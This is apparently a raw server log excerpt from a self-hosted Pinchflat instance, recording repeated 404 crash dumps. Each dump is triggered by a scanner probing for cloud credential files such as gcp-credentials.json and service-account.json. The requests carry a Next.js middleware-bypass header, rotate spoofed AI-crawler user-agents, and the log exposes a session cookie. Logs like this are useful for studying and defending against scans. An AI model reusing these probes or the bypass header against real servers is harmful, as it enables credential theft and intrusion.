"*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/gcp-credentials.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61RhWwKrb9h8ABvgh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29520.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/gcp-credentials.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33356}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /gcp-credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29520.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/gcp-credentials.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33356}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: (truncated) 16:49:05.010 [info] GET /google-credentials.json 16:49:05.010 [debug] QUERY OK source="settings" db=0.1ms idle=398.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.010 [debug] QUERY OK source="settings" db=0.0ms idle=398.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.010 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:05.010 [error] #PID<0.29523.0> running PinchflatWeb.Endpoint (connection #PID<0.29522.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /google-credentials.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /google-credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29522.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/google-credentials.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33368}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29523.0>, params: %{}, path_info: ["google-credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/google-credentials.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61R0eXLGMO_AABvhB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29522.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/google-credentials.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33368}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /google-credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29522.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/google-credentials.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33368}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, (truncated) 16:49:05.038 [info] GET /keys/service-account.json 16:49:05.039 [debug] QUERY OK source="settings" db=0.1ms idle=108.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.039 [debug] QUERY OK source="settings" db=0.0ms idle=108.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.039 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:05.039 [error] #PID<0.29525.0> running PinchflatWeb.Endpoint (connection #PID<0.29524.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /keys/service-account.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /keys/service-account (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29524.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/keys/service-account.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33372}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29525.0>, params: %{}, path_info: ["keys", "service-account"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/keys/service-account.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61R7W2PKKHjoABvhh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29524.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/keys/service-account.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33372}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /keys/service-account (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29524.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/keys/service-account.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33372}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", (truncated) 16:49:05.127 [info] GET /firebase-credentials.json 16:49:05.128 [debug] QUERY OK source="settings" db=0.1ms idle=181.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.128 [debug] QUERY OK source="settings" db=0.1ms idle=117.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.128 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:05.128 [error] #PID<0.29527.0> running PinchflatWeb.Endpoint (connection #PID<0.29526.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /firebase-credentials.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /firebase-credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29526.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/firebase-credentials.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33384}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29527.0>, params: %{}, path_info: ["firebase-credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/firebase-credentials.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61SQgYp0aG2sABviB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29526.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/firebase-credentials.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33384}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /firebase-credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29526.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/firebase-credentials.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33384}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, (truncated) 16:49:05.138 [info] GET /firebase-admin.json 